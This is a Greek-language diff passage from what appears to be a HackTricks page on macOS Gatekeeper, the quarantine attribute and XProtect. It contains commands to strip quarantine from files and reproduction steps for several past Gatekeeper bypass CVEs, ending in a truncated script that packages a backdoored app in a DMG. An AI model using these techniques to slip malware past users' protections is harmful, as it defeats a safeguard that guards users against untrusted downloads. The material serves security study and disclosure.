χαρακτηριστικό καραντίνας**. {% endhint %} {% hint style="warning" %} Αυτό το χαρακτηριστικό πρέπει να **ορίζεται από την εφαρμογή που δημιουργεί/κατεβάζει** το αρχείο. -Ωστόσο, τα αρχεία που είναι απομονωμένα θα έχουν αυτό το χαρακτηριστικό ορισμένο σε κάθε αρχείο που δημιουργούν. Και οι μη απομονωμένες εφαρμογές μπορούν να το ορίσουν μόνες τους ή να καθορίσουν το κλειδί [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) στο **Info.plist**, το οποίο θα κάνει το σύστημα να ορίσει το επεκτεινόμενο χαρακτηριστικό `com.apple.quarantine` στα δημιουργούμενα αρχεία. +Ωστόσο, τα αρχεία που είναι σε λειτουργία άμμου θα έχουν αυτό το χαρακτηριστικό ορισμένο σε κάθε αρχείο που δημιουργούν. Και οι μη λειτουργίας άμμου εφαρμογές μπορούν να το ορίσουν μόνες τους, ή να καθορίσουν το [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) κλειδί στο **Info.plist** το οποίο θα κάνει το σύστημα να ορίσει το επεκτεινόμενο χαρακτηριστικό `com.apple.quarantine` στα αρχεία που δημιουργούν, {% endhint %} -Είναι δυνατόν να **ελέγξετε την κατάστασή του και να ενεργοποιήσετε/απενεργοποιήσετε** (απαιτεί δικαιώματα διαχειριστή) με την εντολή: - +Είναι δυνατόν να **ελέγξετε την κατάστασή του και να ενεργοποιήσετε/απενεργοποιήσετε** (απαιτείται root) με: ```bash spctl --status assessments enabled @@ -183,17 +177,13 @@ spctl --enable spctl --disable #You can also allow nee identifies to execute code using the binary "spctl" ``` - -Μπορείτε επίσης να **βρείτε αν ένα αρχείο έχει το επιπλέον χαρακτηριστικό καραντίνας** με την εντολή: - +Μπορείτε επίσης **να βρείτε αν ένα αρχείο έχει το χαρακτηριστικό επέκτασης καραντίνας** με: ```bash xattr file.png com.apple.macl com.apple.quarantine ``` - -Ελέγξτε τη **τιμή** των **επεκταμένων** **χαρακτηριστικών** και βρείτε την εφαρμογή που έγραψε το χαρακτηριστικό καραντίνας με: - +Ελέγξτε τη **τιμή** των **επεκταμένων** **χαρακτηριστικών** και βρείτε την εφαρμογή που έγραψε το χαρακτηριστικό καραντίνα με: ```bash xattr -l portada.png com.apple.macl: @@ -209,44 +199,79 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5 # Brave -- App # F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded ``` - -Πραγματικά, ένας διεργασία "μπορεί να ορίσει σημαίες καραντίνας στα αρχεία που δημιουργεί" (προσπάθησα να εφαρμόσω τη σημαία USER\_APPROVED σε ένα δημιουργημένο αρχείο, αλλά δεν την εφάρμοσε): +Πράγματι, ένας διεργασία "θα μπορούσε να ορίσει σημαίες καραντίνας στα αρχεία που δημιουργεί" (προσπάθησα να εφαρμόσω τη σημαία USER_APPROVED σε ένα δημιουργημένο αρχείο αλλά δεν την εφαρμόζει):
-Πηγαίος Κώδικας εφαρμογής σημαιών καραντίνας +Κώδικας Πηγής εφαρμογής σημαίες καραντίνας +```c +#include +#include -\`\`\`c #include #include +enum qtn_flags { +QTN_FLAG_DOWNLOAD = 0x0001, +QTN_FLAG_SANDBOX = 0x0002, +QTN_FLAG_HARD = 0x0004, +QTN_FLAG_USER_APPROVED = 0x0040, +}; -enum qtn\_flags { QTN\_FLAG\_DOWNLOAD = 0x0001, QTN\_FLAG\_SANDBOX = 0x0002, QTN\_FLAG\_HARD = 0x0004, QTN\_FLAG\_USER\_APPROVED = 0x0040, }; +#define qtn_proc_alloc _qtn_proc_alloc +#define qtn_proc_apply_to_self _qtn_proc_apply_to_self +#define qtn_proc_free _qtn_proc_free +#define qtn_proc_init _qtn_proc_init +#define qtn_proc_init_with_self _qtn_proc_init_with_self +#define qtn_proc_set_flags _qtn_proc_set_flags +#define qtn_file_alloc _qtn_file_alloc +#define qtn_file_init_with_path _qtn_file_init_with_path +#define qtn_file_free _qtn_file_free +#define qtn_file_apply_to_path _qtn_file_apply_to_path +#define qtn_file_set_flags _qtn_file_set_flags +#define qtn_file_get_flags _qtn_file_get_flags +#define qtn_proc_set_identifier _qtn_proc_set_identifier -\#define qtn\_proc\_alloc \_qtn\_proc\_alloc #define qtn\_proc\_apply\_to\_self \_qtn\_proc\_apply\_to\_self #define qtn\_proc\_free \_qtn\_proc\_free #define qtn\_proc\_init \_qtn\_proc\_init #define qtn\_proc\_init\_with\_self \_qtn\_proc\_init\_with\_self #define qtn\_proc\_set\_flags \_qtn\_proc\_set\_flags #define qtn\_file\_alloc \_qtn\_file\_alloc #define qtn\_file\_init\_with\_path \_qtn\_file\_init\_with\_path #define qtn\_file\_free \_qtn\_file\_free #define qtn\_file\_apply\_to\_path \_qtn\_file\_apply\_to\_path #define qtn\_file\_set\_flags \_qtn\_file\_set\_flags #define qtn\_file\_get\_flags \_qtn\_file\_get\_flags #define qtn\_proc\_set\_identifier \_qtn\_proc\_set\_identifier +typedef struct _qtn_proc *qtn_proc_t; +typedef struct _qtn_file *qtn_file_t; -typedef struct \_qtn\_proc \*qtn\_proc\_t; typedef struct \_qtn\_file \*qtn\_file\_t; - -int qtn\_proc\_apply\_to\_self(qtn\_proc\_t); void qtn\_proc\_init(qtn\_proc\_t); int qtn\_proc\_init\_with\_self(qtn\_proc\_t); int qtn\_proc\_set\_flags(qtn\_proc\_t, uint32\_t flags); qtn\_proc\_t qtn\_proc\_alloc(); void qtn\_proc\_free(qtn\_proc\_t); qtn\_file\_t qtn\_file\_alloc(void); void qtn\_file\_free(qtn\_file\_t qf); int qtn\_file\_set\_flags(qtn\_file\_t qf, uint32\_t flags); uint32\_t qtn\_file\_get\_flags(qtn\_file\_t qf); int qtn\_file\_apply\_to\_path(qtn\_file\_t qf, const char \*path); int qtn\_file\_init\_with\_path(qtn\_file\_t qf, const char _path); int qtn\_proc\_set\_identifier(qtn\_proc\_t qp, const char_ bundleid); +int qtn_proc_apply_to_self(qtn_proc_t); +void qtn_proc_init(qtn_proc_t); +int qtn_proc_init_with_self(qtn_proc_t); +int qtn_proc_set_flags(qtn_proc_t, uint32_t flags); +qtn_proc_t qtn_proc_alloc(); +void qtn_proc_free(qtn_proc_t); +qtn_file_t qtn_file_alloc(void); +void qtn_file_free(qtn_file_t qf); +int qtn_file_set_flags(qtn_file_t qf, uint32_t flags); +uint32_t qtn_file_get_flags(qtn_file_t qf); +int qtn_file_apply_to_path(qtn_file_t qf, const char *path); +int qtn_file_init_with_path(qtn_file_t qf, const char *path); +int qtn_proc_set_identifier(qtn_proc_t qp, const char* bundleid); int main() { -qtn\_proc\_t qp = qtn\_proc\_alloc(); qtn\_proc\_set\_identifier(qp, "xyz.hacktricks.qa"); qtn\_proc\_set\_flags(qp, QTN\_FLAG\_DOWNLOAD | QTN\_FLAG\_USER\_APPROVED); qtn\_proc\_apply\_to\_self(qp); qtn\_proc\_free(qp); +qtn_proc_t qp = qtn_proc_alloc(); +qtn_proc_set_identifier(qp, "xyz.hacktricks.qa"); +qtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED); +qtn_proc_apply_to_self(qp); +qtn_proc_free(qp); -FILE \*fp; fp = fopen("thisisquarantined.txt", "w+"); fprintf(fp, "Hello Quarantine\n"); fclose(fp); +FILE *fp; +fp = fopen("thisisquarantined.txt", "w+"); +fprintf(fp, "Hello Quarantine\n"); +fclose(fp); return 0; } - -```` +```
-Και **αφαιρέστε** αυτήν την ιδιότητα με: +Και **αφαιρέστε** αυτό το χαρακτηριστικό με: ```bash xattr -d com.apple.quarantine portada.png #You can also remove this attribute from every file with find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine -```` - -Και βρείτε όλα τα καραντιναρισμένα αρχεία με: +``` +Και βρείτε όλα τα αρχεία σε καραντίνα με: {% code overflow="wrap" %} ```bash @@ -254,21 +279,21 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri ``` {% endcode %} -Οι πληροφορίες της καραντίνας αποθηκεύονται επίσης σε μια κεντρική βάση δεδομένων που διαχειρίζεται η LaunchServices στο **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**. +Οι πληροφορίες καραντίνας αποθηκεύονται επίσης σε μια κεντρική βάση δεδομένων που διαχειρίζεται από το LaunchServices στο **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**. -**Quarantine.kext** +#### **Quarantine.kext** -Η επέκταση πυρήνα είναι διαθέσιμη μόνο μέσω της **προσωρινής μνήμης του πυρήνα στο σύστημα**. Ωστόσο, μπορείτε να κατεβάσετε το **Kernel Debug Kit από τη διεύθυνση https://developer.apple.com/**, το οποίο θα περιέχει μια συμβολική έκδοση της επέκτασης. +Η επέκταση πυρήνα είναι διαθέσιμη μόνο μέσω της **προσωρινής μνήμης πυρήνα στο σύστημα**. Ωστόσο, μπορείτε να κατεβάσετε το **Kernel Debug Kit από το https://developer.apple.com/**, το οποίο θα περιέχει μια συμβολοποιημένη έκδοση της επέκτασης. -#### XProtect +### XProtect -Το XProtect είναι μια ενσωματωμένη λειτουργία **αντι-κακόβουλου λογισμικού** στο macOS. Το XProtect **ελέγχει κάθε εφαρμογή όταν την εκτελέσετε για πρώτη φορά ή την τροποποιήσετε, σε σχέση με τη βάση δεδομένων του** γνωστού κακόβουλου λογισμικού και των μη ασφαλών τύπων αρχείων. Όταν κατεβάζετε ένα αρχείο μέσω ορισμένων εφαρμογών, όπως το Safari, το Mail ή το Messages, το XProtect σαρώνει αυτόματα το αρχείο. Εάν ταιριάζει με οποιοδήποτε γνωστό κακόβουλο λογισμικό στη βάση δεδομένων του, το XProtect θα **αποτρέψει την εκτέλεση του αρχείου** και θα σας ειδοποιήσει για τον κίνδυνο. +Το XProtect είναι μια ενσωματωμένη λειτουργία **αντι-κακόβουλου λογισμικού** στο macOS. Το XProtect **ελέγχει οποιαδήποτε εφαρμογή όταν εκτελείται για πρώτη φορά ή τροποποιείται έναντι της βάσης δεδομένων** του γνωστού κακόβουλου λογισμικού και ανθυγιεινών τύπων αρχείων. Όταν κατεβάζετε ένα αρχείο μέσω συγκεκριμένων εφαρμογών, όπως το Safari, το Mail ή το Messages, το XProtect σαρώνει αυτόματα το αρχείο. Αν ταιριάζει με οποιοδήποτε κακόβουλο λογισμικό στη βάση δεδομένων του, το XProtect θα **εμποδίσει το αρχείο από την εκτέλεση** και θα σας ειδοποιήσει για τον κίνδυνο. -Η βάση δεδομένων του XProtect ενημερώνεται **τακτικά** από την Apple με νέους ορισμούς κακόβουλου λογισμικού, και αυτές οι ενημερώσεις λαμβάνονται και εγκαθίστανται αυτόματα στο Mac σας. Αυτό εξασφαλίζει ότι το XProtect είναι πάντα ενημερωμένο με τις τελευταίες γνωστές απειλές. +Η βάση δεδομένων του XProtect **ενημερώνεται τακτικά** από την Apple με νέους ορισμούς κακόβουλου λογισμικού, και αυτές οι ενημερώσεις κατεβαίνουν και εγκαθίστανται αυτόματα στο Mac σας. Αυτό εξασφαλίζει ότι το XProtect είναι πάντα ενημερωμένο με τις τελευταίες γνωστές απειλές. -Ωστόσο, αξίζει να σημειωθεί ότι το **XProtect δεν είναι μια πλήρως λειτουργική λύση αντιιούστρωσης**. Ελέγχει μόνο μια συγκεκριμένη λίστα γνωστών απειλών και δεν πραγματοποιεί σάρωση κατά την πρόσβαση όπως η πλειονότητα των λογισμικών αντιιούστρωσης. +Ωστόσο, αξίζει να σημειωθεί ότι το **XProtect δεν είναι μια πλήρως εξοπλισμένη λύση αντιιών**. Ελέγχει μόνο για μια συγκεκριμένη λίστα γνωστών απειλών και δεν πραγματοποιεί σάρωση κατά την πρόσβαση όπως η πλειονότητα των λογισμικών αντιιών. -Μπορείτε να λάβετε πληροφορίες για την τελευταία ενημέρωση του XProtect εκτελώντας: +Μπορείτε να λάβετε πληροφορίες σχετικά με την τελευταία ενημέρωση του XProtect εκτελώντας: {% code overflow="wrap" %} ```bash @@ -276,79 +301,73 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC ``` {% endcode %} -Το XProtect βρίσκεται σε προστατευμένη τοποθεσία SIP στο **/Library/Apple/System/Library/CoreServices/XProtect.bundle** και μέσα στο bundle μπορείτε να βρείτε τις πληροφορίες που χρησιμοποιεί το XProtect: +Το XProtect βρίσκεται σε προστατευμένη τοποθεσία SIP στο **/Library/Apple/System/Library/CoreServices/XProtect.bundle** και μέσα στο bundle μπορείτε να βρείτε πληροφορίες που χρησιμοποιεί το XProtect: -* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Επιτρέπει στον κώδικα με αυτά τα cdhashes να χρησιμοποιεί παλαιές εξουσιοδοτήσεις. -* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Λίστα προσθέτων και επεκτάσεων που δεν επιτρέπεται να φορτωθούν μέσω του BundleID και TeamID ή που υποδεικνύουν μια ελάχιστη έκδοση. -* **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Κανόνες Yara για την ανίχνευση κακόβουλου λογισμικού. -* **`XProtect.bundle/Contents/Resources/gk.db`**: Βάση δεδομένων SQLite3 με κατακερματισμένες εφαρμογές και TeamIDs που έχουν αποκλειστεί. +- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Επιτρέπει σε κώδικα με αυτά τα cdhashes να χρησιμοποιούν παλαιές εξουσιοδοτήσεις. +- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Λίστα με plugins και επεκτάσεις που απαγορεύεται να φορτωθούν μέσω του BundleID και TeamID ή ενδεικτικός ελάχιστος αριθμός έκδοσης. +- **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Κανόνες Yara για τον εντοπισμό κακόβουλου λογισμικού. +- **`XProtect.bundle/Contents/Resources/gk.db`**: Βάση δεδομένων SQLite3 με κατακερματισμένες εφαρμογές και TeamIDs που έχουν αποκλειστεί. Σημειώστε ότι υπάρχει μια άλλη εφαρμογή στο **`/Library/Apple/System/Library/CoreServices/XProtect.app`** που σχετίζεται με το XProtect και δεν συμμετέχει στη διαδικασία του Gatekeeper. -#### Όχι Gatekeeper +### Όχι Gatekeeper -Σημειώστε ότι το Gatekeeper **δεν εκτελείται κάθε φορά** που εκτελείτε μια εφαρμογή, απλώς ο _**AppleMobileFileIntegrity**_ (AMFI) θα επιβεβαιώσει μόνο τις υπογραφές του εκτελέσιμου κώδικα όταν εκτελείτε μια εφαρμογή που έχει ήδη εκτελεστεί και επιβεβαιωθεί από το Gatekeeper. +{% hint style="danger" %} +Σημειώστε ότι ο Gatekeeper **δεν εκτελείται κάθε φορά** που εκτελείτε μια εφαρμογή, μόνο το _**AppleMobileFileIntegrity**_ (AMFI) θα ελέγξει μόνο τις **υπογραφές εκτελέσιμου κώδικα** όταν εκτελέσετε μια εφαρμογή που έχει ήδη εκτελεστεί και ελεγχθεί από το Gatekeeper. +{% endhint %} -Επομένως, προηγουμένως ήταν δυνατό να εκτελεστεί μια εφαρμογή για να την κρυφτεί με το Gatekeeper, στη συνέχεια να **τροποποιηθούν μη εκτελέσιμα αρχεία της εφαρμογής** (όπως τα αρχεία Electron asar ή NIB) και αν δεν υπήρχαν άλλες προστασίες, η εφαρμογή εκτελούνταν με τις **κακόβουλες** προσθήκες. +Συνεπώς, παλαιότερα ήταν δυνατό να εκτελεστεί μια εφαρμογή για να την αποθηκεύσετε στη μνήμη cache με το Gatekeeper, στη συνέχεια **να τροποποιήσετε μη εκτελέσιμα αρχεία της εφαρμογής** (όπως αρχεία Electron asar ή NIB) και αν δεν υπήρχαν άλλες προστασίες, η εφαρμογή εκτελούνταν με τις **κακόβουλες** προσθήκες. -Ωστόσο, τώρα αυτό δεν είναι δυνατό επειδή το macOS **αποτρέπει την τροποποίηση αρχείων** μέσα στα πακέτα των εφαρμογών. Έτσι, αν προσπαθήσετε την επίθεση [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), θα διαπιστώσετε ότι δεν είναι πλέον δυνατή η κατάχρησή της επειδή μετά την εκτέλεση της εφαρμογής για να την κρυφτεί με το Gatekeeper, δεν θα μπορείτε να τροποποιήσετε το πακέτο. Και αν αλλάξετε, για παράδειγμα, το όνομα του καταλόγου Contents σε NotCon (όπως υποδεικνύεται στην εκμετάλλευση), και στη συνέχεια εκτελέσετε τον κύριο δυαδικό της εφαρμογής για να την κρυφτεί με το Gatekeeper, θα προκαλέσει ένα σφάλμα και δεν θα εκτελεστεί. +Ωστόσο, τώρα αυτό δεν είναι δυνατό επειδή το macOS **αποτρέπει την τροποποίηση αρχείων** μέσα στα bundles των εφαρμογών. Έτσι, αν δοκιμάσετε την επίθεση [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), θα διαπιστώσετε ότι πλέον δεν είναι δυνατό να την εκμεταλλευτείτε επειδή μετά την εκτέλεση της εφαρμογής για να την αποθηκεύσετε στη μνήμη cache με το Gatekeeper, δεν θα μπορείτε να τροποποιήσετε το bundle. Και αν αλλάξετε, για παράδειγμα, το όνομα του φακέλου Contents σε NotCon (όπως υποδεικνύεται στην εκμετάλλευση), και στη συνέχεια εκτελέσετε το κύριο δυαδικό αρχείο της εφαρμογής για να την αποθηκεύσετε στη μνήμη cache με το Gatekeeper, θα προκαλέσει ένα σφάλμα και δεν θα εκτελεστεί. -### Παράκαμψη του Gatekeeper +## Παρακάμψεις του Gatekeeper -Οποιοδήποτε τρόπος παράκαμψης του Gatekeeper (καταφέρνοντας να κάνετε τον χρήστη να κατεβάσει και να εκτελέσει κάτι όταν ο Gatekeeper θα έπρεπε να το απαγορεύσει) θεωρείται ευπάθεια στο macOS. Αυτά είναι μερικά CVE που έχουν ανατεθεί σε τεχνικές που επέτρεπαν την παράκαμψη του Gatekeeper στο παρελθόν: +Οποιαδήποτε μέθοδος για την παράκαμψη του Gatekeeper (καταφέρνοντας να κάνετε τον χρήστη να κατεβάσει κάτι και να το εκτελέσει όταν ο Gatekeeper θα έπρεπε να το απορρίψει) θεωρείται μια ευπάθεια στο macOS. Αυτά είναι μερικά CVEs που ανατέθηκαν σε τεχνικές που επέτρεπαν την παράκαμψη του Gatekeeper στο παρελθόν: -#### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) +### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) -Παρατηρήθηκε ότι εάν χρησιμοποιηθεί το **Archive Utility** για την αποσυμπίεση, τα αρχεία με **μονοπάτια που υπερβαίνουν τους 886 χαρακτήρες** δεν λαμβάνουν το επεκτεινόμενο χαρακτηριστικό com.apple.quarantine. Αυτή η κατάσταση επιτρέπει κατά λάθος σε αυτά τα αρχεία να **παρακάμψουν τους έλεγχους ασφαλείας** του Gatekeeper. +Παρατηρήθηκε ότι εάν χρησιμοποιηθεί το **Archive Utility** για την εξαγωγή, τα αρχεία με **μονοπάτια που υπερβαίνουν τους 886 χαρακτήρες** δεν λαμβάνουν το επεκτεινόμενο χαρακτηριστικό com.apple.quarantine. Αυτή η κατάσταση επιτρέπει απρόθεστα σε αυτά τα αρχεία να **παρακάμψουν τους ελέγχους ασφαλείας του Gatekeeper**. Ελέγξτε την [**αρχική αναφορά**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) για περισσότερες πληροφορίες. -#### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper) +### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper) -Όταν δημιουργείται μια εφαρμογή με το **Automator**, οι πληροφορίες για το τι χρειάζεται να εκτελεστεί βρίσκονται μέσα στο `application.app/Contents/document.wflow` και όχι στο εκτελέσιμο. Το εκτελέσιμο είναι απλώς ένα γενικό δυαδικό του Automator που ονομάζεται **Automator Application Stub**. +Όταν δημιουργείται μια εφαρμογή με το **Automator**, οι πληροφορίες σχετικά με το τι χρειάζεται για να εκτελεστεί βρίσκονται μέσα στο `application.app/Contents/document.wflow` και όχι στο εκτελέσιμο. Το εκτελέσιμο είναι απλώς ένα γενικό δυαδικό αρχείο Automator που ονομάζεται **Automator Application Stub**. -Επομένως, μπορείτε να κάνετε το `application.app/Contents/MacOS/Automator\ Application\ Stub` **να δείχνει με ένα συμβολικό σύνδεσμο σε ένα άλλο Automator Application Stub μέσα στο σύστημα** και θα εκτελεί αυτό που βρίσκεται μέσα στο `document.wflow` (το σενάριό σας) **χωρίς να ενεργοποιεί τον Gatekeeper** επειδή το πραγματικό εκτελέσιμο δεν έχει το quarantine xattr. +Συνεπώς, θα μπορούσατε να κάνετε το `application.app/Contents/MacOS/Automator\ Application\ Stub` **να δείχνει με ένα συμβολικό σύνδεσμο σε ένα άλλο Automator Application Stub μέσα στο σύστημα** και θα εκτελεί αυτό που βρίσκεται μέσα στο `document.wflow` (το σενάριό σας) **χωρίς να ενεργοποιεί το Gatekeeper** επειδή το πραγματικό εκτελέσιμο δεν έχει το quarantine xattr. Παράδειγμα αναμενόμενης τοποθεσίας: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub` Ελέγξτε την [**αρχική αναφορά**](https://ronmasas.com/posts/bypass-macos-gatekeeper) για περισσότερες πληροφορίες. -#### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) - -Σε αυτήν την παράκαμψη δημιουργήθηκε ένα αρχείο zip με μια εφαρμογή που ξεκινά τη συμπίεση από το `application.app/Contents` αντί για το `application.app`. Επομένως, το **χαρακτηριστικό καραντίνας** εφαρμόστηκε σε όλα τα **αρχεία από το `application.app/Contents`** αλλά **όχι στο `application.app`**, που ήταν αυτό που ελέγχονταν από +### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) +Σε αυτή την παράκαμψη δημιουργήθηκε ένα αρχείο zip με μια εφαρμογή που ξεκινά τη συμπίεση από το `application.app/Contents` αντί για το `application.app`. Έτσι, το **χαρακτηριστικό καραντίνας** εφαρμόστηκε σε όλα τα **αρχεία από το `application.app/Contents`** αλλά **όχι στο `application.app`**, το οποίο ελέγχετο από το Gatekeeper, οπότε το Gatekeeper παρακάμφθηκε επειδή όταν εκτελέστηκε το `application.app` **δεν είχε το χαρακτηριστικό καραντίνας.** ```bash zip -r test.app/Contents test.zip ``` - Ελέγξτε την [**αρχική αναφορά**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) για περισσότερες πληροφορίες. -#### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910) - -Ακόμα κι αν οι συστατικές είναι διαφορετικές, η εκμετάλλευση αυτής της ευπάθειας είναι πολύ παρόμοια με την προηγούμενη. Σε αυτήν την περίπτωση, θα δημιουργήσουμε ένα Apple Archive από το **`application.app/Contents`**, έτσι ώστε το **`application.app` να μην λάβει το χαρακτηριστικό καραντίνας** όταν αποσυμπιέζεται από το **Archive Utility**. +### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910) +Ακόμα και αν τα στοιχεία είναι διαφορετικά, η εκμετάλλευση αυτής της ευπάθειας είναι πολύ παρόμοια με την προηγούμενη. Σε αυτήν την περίπτωση θα δημιουργήσουμε ένα Apple Archive από το **`application.app/Contents`** έτσι ώστε το **`application.app` να μην λάβει το χαρακτηριστικό καραντίνας** όταν αποσυμπιέζεται από το **Archive Utility**. ```bash aa archive -d test.app/Contents -o test.app.aar ``` - Ελέγξτε την [**αρχική αναφορά**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) για περισσότερες πληροφορίες. -#### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) +### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) Το ACL **`writeextattr`** μπορεί να χρησιμοποιηθεί για να αποτρέψει οποιονδήποτε από το να γράψει ένα χαρακτηριστικό σε ένα αρχείο: - ```bash touch /tmp/no-attr chmod +a "everyone deny writeextattr" /tmp/no-attr xattr -w attrname vale /tmp/no-attr xattr: [Errno 13] Permission denied: '/tmp/no-attr' ``` +Επιπλέον, η μορφή αρχείου **AppleDouble** αντιγράφει ένα αρχείο συμπεριλαμβανομένων των ACEs του. -Επιπλέον, η μορφή αρχείου **AppleDouble** αντιγράφει ένα αρχείο συμπεριλαμβάνοντας τις ACEs του. - -Στον [**πηγαίο κώδικα**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατό να δούμε ότι η αναπαράσταση κειμένου του ACL που αποθηκεύεται μέσα στο xattr με το όνομα **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπιέσετε μια εφαρμογή σε ένα αρχείο zip με τη μορφή αρχείου **AppleDouble** και έχετε ένα ACL που αποτρέπει την εγγραφή άλλων xattrs σε αυτό... το xattr της καραντίνας δεν θα οριστεί στην εφαρμογή: - -{% code overflow="wrap" %} +Στον [**πηγαίο κώδικα**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δούμε ότι η αναπαράσταση κειμένου ACL που αποθηκεύεται μέσα στο xattr που ονομάζεται **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπιέσετε μια εφαρμογή σε ένα αρχείο zip με τη μορφή αρχείου **AppleDouble** με ένα ACL που εμποδίζει άλλα xattrs να γραφτούν σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή: ```bash chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test ditto -c -k test test.zip @@ -359,24 +378,20 @@ python3 -m http.server Ελέγξτε την [**αρχική αναφορά**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) για περισσότερες πληροφορίες. -Σημειώστε ότι αυτό μπορεί επίσης να εκμεταλλευτεί με το AppleArchives: - +Σημειώστε ότι αυτό θα μπορούσε επίσης να εκμεταλλευτείται με το AppleArchives: ```bash mkdir app touch app/test chmod +a "everyone deny write,writeattr,writeextattr" app/test aa archive -d app -o test.aar ``` +### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/) -#### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/) +Ανακαλύφθηκε ότι **το Google Chrome δεν έθετε το χαρακτηριστικό καραντίνας** σε ληφθέντα αρχεία λόγω ορισμένων εσωτερικών προβλημάτων του macOS. -Ανακαλύφθηκε ότι το **Google Chrome δεν έθετε το χαρακτηριστικό καραντίνας** σε κατεβασμένα αρχεία λόγω ορισμένων εσωτερικών προβλημάτων του macOS. +### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/) -#### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/) - -Τα αρχεία μορφής AppleDouble αποθηκεύουν τα χαρακτηριστικά ενός αρχείου σε ένα ξεχωριστό αρχείο που ξεκινά με `._`, αυτό βοηθά στην αντιγραφή των χαρακτηριστικών των αρχείων **σε διάφορες συσκευές macOS**. Ωστόσο, παρατηρήθηκε ότι μετά την αποσυμπίεση ενός αρχείου AppleDouble, το αρχείο που ξεκινά με `._` **δεν είχε το χαρακτηριστικό καραντίνας**. - -{% code overflow="wrap" %} +Τα αρχεία μορφής AppleDouble αποθηκεύουν τα χαρακτηριστικά ενός αρχείου σε ένα ξεχωριστό αρχείο που ξεκινά με `._`, κάτι που βοηθά στην αντιγραφή των χαρακτηριστικών αρχείων **σε μηχανές macOS**. Ωστόσο, παρατηρήθηκε ότι μετά την αποσυμπίεση ενός αρχείου AppleDouble, το αρχείο που ξεκινά με `._` **δεν έλαβε το χαρακτηριστικό καραντίνας**. ```bash mkdir test echo a > test/a @@ -388,9 +403,8 @@ aa archive -d test/ -o test.aar ``` {% endcode %} -Με τη δυνατότητα δημιουργίας ενός αρχείου που δεν θα έχει το χαρακτηριστικό καραντίνας, ήταν **δυνατό να παρακάμψουμε το Gatekeeper**. Το κόλπο ήταν να **δημιουργήσουμε ένα αρχείο DMG εφαρμογή** χρησιμοποιώντας το συμβατικό όνομα AppleDouble (ξεκινάμε με `._`) και να δημιουργήσουμε ένα **ορατό αρχείο ως σύνδεσμος προς αυτό το κρυφό** αρχείο χωρίς το χαρακτηριστικό καραντίνας.\ -Όταν το **αρχείο dmg εκτελείται**, καθώς δεν έχει το χαρακτηριστικό καραντίνας, θα **παρακάμπτει το Gatekeeper**. - +Μπορώντας να δημιουργήσετε ένα αρχείο που δεν θα έχει το χαρακτηριστικό καραντίνας, **ήταν δυνατό να παρακάμψετε το Gatekeeper.** Το κόλπο ήταν να **δημιουργήσετε ένα αρχείο DMG εφαρμογής** χρησιμοποιώντας το συμβολισμό ονομασίας AppleDouble (ξεκινώντας με `._`) και να δημιουργήσετε ένα **ορατό αρχείο ως σύμβολο σε αυτό το κρυφό** αρχείο χωρίς το χαρακτηριστικό καραντίνας.\ +Όταν το **αρχείο dmg εκτελείται**, καθώς δεν έχει το χαρακτηριστικό καραντίνας, θα **παρακάμψει το Gatekeeper**. ```bash # Create an app bundle with the backdoor an call it app.app @@ -406,11 +420,10 @@ ln -s ._app.dmg s/app/app.dmg echo "[+] compressing files" aa 